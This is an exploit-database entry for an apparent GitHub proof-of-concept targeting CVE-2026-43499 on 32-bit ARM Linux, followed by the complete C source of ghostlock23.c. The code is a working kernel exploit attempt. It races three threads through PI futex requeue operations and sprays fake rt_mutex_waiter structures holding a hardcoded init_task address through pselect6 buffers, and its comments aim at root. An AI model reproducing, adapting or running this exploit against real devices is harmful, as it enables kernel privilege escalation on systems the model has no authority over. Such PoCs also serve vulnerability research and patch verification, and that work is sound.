Exploit database

GH-84a2584893aa73cb0829550f9c55b3e1

tc3650/cve-2026-43499-armv7

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

166 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files70
tc3650/cve-2026-43499-armv7Revision 40f7649b000a
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/ghostlock23.c

C · 8,556 bytes
/*
 * ghostlock23.c - rb_parent_color=0 + lock->owner=0 to prevent stack write
 * ARM32 static. If kernel skips writes to our fake waiter, no crash → possible root path.
 */

#define NULL ((void*)0)
typedef unsigned int uint32_t;typedef int int32_t;typedef long long int64_t;
#define __NR_exit 1
#define __NR_write 4
#define __NR_openat 322
#define __NR_close 6
#define __NR_clone 120
#define __NR_gettid 224
#define __NR_nanosleep 162
#define __NR_clock_gettime 263
#define __NR_pselect6 335
#define __NR_futex 240
#define __NR_futex_time64 422
#define FLPI (6|128)
#define FUPI (7|128)
#define FWRQ (11|128)
#define FCRQ (12|128)

struct ts64 { int64_t tv_sec; int64_t tv_nsec; };
struct ts32 { int32_t tv_sec; int32_t tv_nsec; };
#define CLOCK_MONOTONIC 1
#define STACK_SIZE 65536
#define INIT_TASK 0xC0909280UL
#define AT_FDCWD -100

static unsigned char __attribute__((aligned(64))) stack_o[STACK_SIZE],stack_w[STACK_SIZE],stack_c[STACK_SIZE];
static uint32_t f_wait __attribute__((aligned(64)))=0,f_target __attribute__((aligned(64)))=0,f_chain __attribute__((aligned(64)))=0;
static unsigned char fake_page[4096]__attribute__((aligned(4096)));
static volatile int o_ready=0,w_ready=0,o_blocking=0,w_waiting=0;
static volatile int stamp_active=0,pi_go=0;
static uint32_t w_tid=0;static int last_errno=0;

static inline long _s6(long n,long a0,long a1,long a2,long a3,long a4,long a5){
    register long r0 asm("r0")=a0,r1 asm("r1")=a1,r2 asm("r2")=a2,r3 asm("r3")=a3,r4 asm("r4")=a4,r5 asm("r5")=a5,r7 asm("r7")=n;
    asm volatile("svc #0":"+r"(r0):"r"(r1),"r"(r2),"r"(r3),"r"(r4),"r"(r5),"r"(r7):"memory");
    if(r0<0&&r0>-4096)last_errno=(int)(-r0);else last_errno=0;return r0;
}
#define SYS0(n) _s6((n),0,0,0,0,0,0)
#define SYS3(n,a,b,c) _s6((n),(a),(b),(c),0,0,0)
#define SYS6(n,a0,a1,a2,a3,a4,a5) _s6((n),(a0),(a1),(a2),(a3),(a4),(a5))

static long clone_full(int(*fn)(void*),void*stk,int fl,void*arg,void*tls,int*ctid){
    unsigned long*sp=(unsigned long*)((unsigned long)stk&~7UL);
    *--sp=(unsigned long)arg;*--sp=(unsigned long)fn;
    register long r0 asm("r0")=fl,r1 asm("r1")=(long)sp,r2 asm("r2")=0,r3 asm("r3")=(long)tls,r4 asm("r4")=(long)ctid,r7 asm("r7")=__NR_clone;
    asm volatile("svc #0\n\tcmp r0,#0\n\tbne 1f\n\tpop {r1,r2}\n\tmov r0,r2\n\tblx r1\n\tmov r7,#1\n\tsvc #0\n\t1:\n\t":"+r"(r0):"r"(r1),"r"(r2),"r"(r3),"r"(r4),"r"(r7):"r5","lr","memory");
    return r0;
}

static long futex_call(uint32_t*u,int op,uint32_t v,void*ts,uint32_t*u2,uint32_t v3){
    long r=SYS6(__NR_futex_time64,(long)u,op,v,(long)ts,(long)u2,v3);
    if(r<0&&last_errno==38){struct ts32 t32;if(ts){struct ts64*t64=(struct ts64*)ts;t32.tv_sec=(int32_t)t64->tv_sec;t32.tv_nsec=(int32_t)t64->tv_nsec;}r=SYS6(__NR_futex,(long)u,op,v,(long)(ts?&t32:0),(long)u2,v3);}
    return r;
}

static long do_openat(const char*path,int flags,int mode){
    return SYS6(__NR_openat,AT_FDCWD,(long)path,flags,mode,0,0);
}

static void pstr(const char*s){int n=0;while(s[n])n++;SYS3(__NR_write,1,(long)s,n);}
static void pint(unsigned long v){
    char b[12];int i=0;
    do{b[i++]='0'+(int)(v%10);v/=10;}while(v);
    {int j;for(j=0;j<i/2;j++){char x=b[j];b[j]=b[i-1-j];b[i-1-j]=x;}}
    b[i++]='\n';SYS3(__NR_write,1,(long)b,i);
}
static void plbl(const char*l,long v){pstr(l);pint((unsigned long)v);}
static void nsleep_us(long us){struct ts32 ts={0,(int32_t)(us*1000)};SYS3(__NR_nanosleep,(long)&ts,0,0);}
static void nsleep_ms(long ms){struct ts32 ts={(int32_t)(ms/1000),(int32_t)((ms%1000)*1000000)};SYS3(__NR_nanosleep,(long)&ts,0,0);}
void raise(void){}

static int thread_consumer(void*arg){
    (void)arg;
    while(!stamp_active)nsleep_us(100);
    while(!pi_go)nsleep_us(100);
    nsleep_ms(200);

    pstr("[c] LOCK_PI(f_chain) DURING stamp\n");
    long r=futex_call(&f_chain,FLPI,0,0,0,0);
    plbl("[c] LOCK_PI(ch)=",r);
    plbl("[c] errno=",last_errno);
    if(r==0||last_errno!=35) pstr("[c] NO CRASH!\n");
    futex_call(&f_chain,FUPI,0,0,0,0);
    return 0;
}

static int thread_owner(void*arg){
    (void)arg;
    f_target=(uint32_t)SYS0(__NR_gettid);
    pstr("[o] set\n");o_ready=1;
    while(!w_ready)nsleep_us(100);
    o_blocking=1;
    pstr("[o] LOCK_PI(ch) enter\n");
    long r=futex_call(&f_chain,FLPI,0,0,0,0);
    plbl("[o] LOCK_PI(ch)=",r);
    futex_call(&f_chain,FUPI,0,0,0,0);
    return 0;
}

static int thread_waiter(void*arg){
    (void)arg;
    w_tid=(uint32_t)SYS0(__NR_gettid);
    while(!o_ready)nsleep_us(100);
    f_chain=w_tid;w_ready=1;
    while(!o_blocking)nsleep_us(100);
    nsleep_us(20000);
    w_waiting=1;

    struct ts32 now32;
    long cr=SYS3(__NR_clock_gettime,CLOCK_MONOTONIC,(long)&now32,0);
    struct ts64 abs;
    abs.tv_sec=(cr==0)?((int64_t)now32.tv_sec+15):1000000;
    abs.tv_nsec=(cr==0)?(int64_t)now32.tv_nsec:0;

    pstr("[w] FWRQ enter\n");
    long r=futex_call(&f_wait,FWRQ,0,&abs,&f_target,0);
    plbl("[w] FWRQ=",r);
    pstr("[w] FWRQ exit\n");

    int nullfd=(int)do_openat("/dev/null",0,0);
    plbl("[w] nullfd=",nullfd);

    /*
     * CRITICAL: fake waiter with rb_parent_color=0 (black, NULL parent).
     * This tricks the kernel into thinking the waiter is NOT in any rb_tree,
     * so rb_erase and priority adjustments are skipped → no writes to freed page.
     *
     * ARM32 rt_mutex_waiter layout (approx):
     *   +0x00: tree_entry.__rb_parent_color (4)  = 0 (black, NULL parent)
     *   +0x04: tree_entry.rb_right (4)            = 0 (NULL)
     *   +0x08: tree_entry.rb_left (4)             = 0 (NULL)
     *   +0x0C: pi_tree_entry.__rb_parent_color (4)= 0
     *   +0x10: pi_tree_entry.rb_right (4)         = 0
     *   +0x14: pi_tree_entry.rb_left (4)          = 0
     *   +0x18: task (4)                           = INIT_TASK (safe ptr)
     *   +0x1C: lock (4)                           = &fake_page+0x100
     *   +0x20: prio (4)                           = 120 (normal)
     *
     * fake_page at offset 0x100 (fake lock):
     *   All zeros → rt_mutex.owner = 0 → chain terminates immediately.
     *   No owner → no pi_blocked_on traversal → no further writes.
     */
    unsigned long fd_set[24];
    unsigned long fake_lock=(unsigned long)fake_page+0x100;

    /* Pattern: all zeros except task=INIT_TASK and lock=fake_lock */
    unsigned long pat[8]={
        0,           /* rb_parent_color = 0 (black, NULL parent) */
        0,           /* rb_right = 0 */
        0,           /* rb_left = 0 */
        0,           /* pi_parent_color = 0 */
        0,           /* pi_right = 0 */
        0,           /* pi_left = 0 */
        INIT_TASK,   /* task = init_task (safe pointer) */
        fake_lock,   /* lock → fake_page (all zeros, owner=0) */
    };
    for(int i=0;i<24;i++)fd_set[i]=pat[i%8];
    if(nullfd>=0){int w=nullfd/32;fd_set[w]|=(1UL<<(nullfd%32));}

    /* fake_page already zeroed (.bss) → lock->owner = 0 */

    stamp_active=1;
    pstr("[w] pselect6 enter (3s)\n");
    struct ts64 pt={{3,0}};
    long ps=SYS6(__NR_pselect6,64,(long)fd_set,(long)(fd_set+8),(long)(fd_set+16),(long)&pt,0);
    plbl("[w] pselect=",ps);
    plbl("[w] errno=",last_errno);
    pstr("[w] pselect done\n");

    if(nullfd>=0)SYS3(__NR_close,nullfd,0,0);

    nsleep_ms(500);
    pstr("[w] FUPI(ch)\n");
    futex_call(&f_chain,FUPI,0,0,0,0);
    return 0;
}

void _start(void){
    pstr("=== ghostlock23: rb_color=0 + lock_owner=0 ===\n");
    static unsigned char tls_w[32]__attribute__((aligned(8))),tls_o[32]__attribute__((aligned(8))),tls_c[32]__attribute__((aligned(8)));
    int ctid=0;
    int fl=0x00000100|0x00000200|0x00000400|0x00000800|0x00010000|0x00040000|0x00080000|0x00100000|0x00200000;

    f_wait=0;f_target=0;f_chain=0;
    o_ready=0;w_ready=0;o_blocking=0;w_waiting=0;stamp_active=0;pi_go=0;
    w_tid=0;last_errno=0;

    clone_full(thread_owner,(void*)((unsigned long)stack_o+STACK_SIZE),fl,0,tls_o,&ctid);
    clone_full(thread_waiter,(void*)((unsigned long)stack_w+STACK_SIZE),fl,0,tls_w,&ctid);
    clone_full(thread_consumer,(void*)((unsigned long)stack_c+STACK_SIZE),fl,0,tls_c,&ctid);

    while(!w_waiting)nsleep_us(100);
    nsleep_us(40000);

    pstr("[m] FCRQ\n");
    long ret=futex_call(&f_wait,FCRQ,1,(void*)(long)1,&f_target,0);
    int se=last_errno;
    plbl("[m] FCRQ=",ret);plbl("[m] errno=",se);

    if(se==35){
        pstr("[!] EDEADLK!\n");
        while(!stamp_active)nsleep_ms(100);
        pstr("[m] stamp active, firing consumer\n");
        pi_go=1;
        nsleep_ms(5000);
    }

    pstr("[*] alive! tid=");pint(SYS0(__NR_gettid));
    pstr("\n");
    SYS3(__NR_exit,0,0,0);
}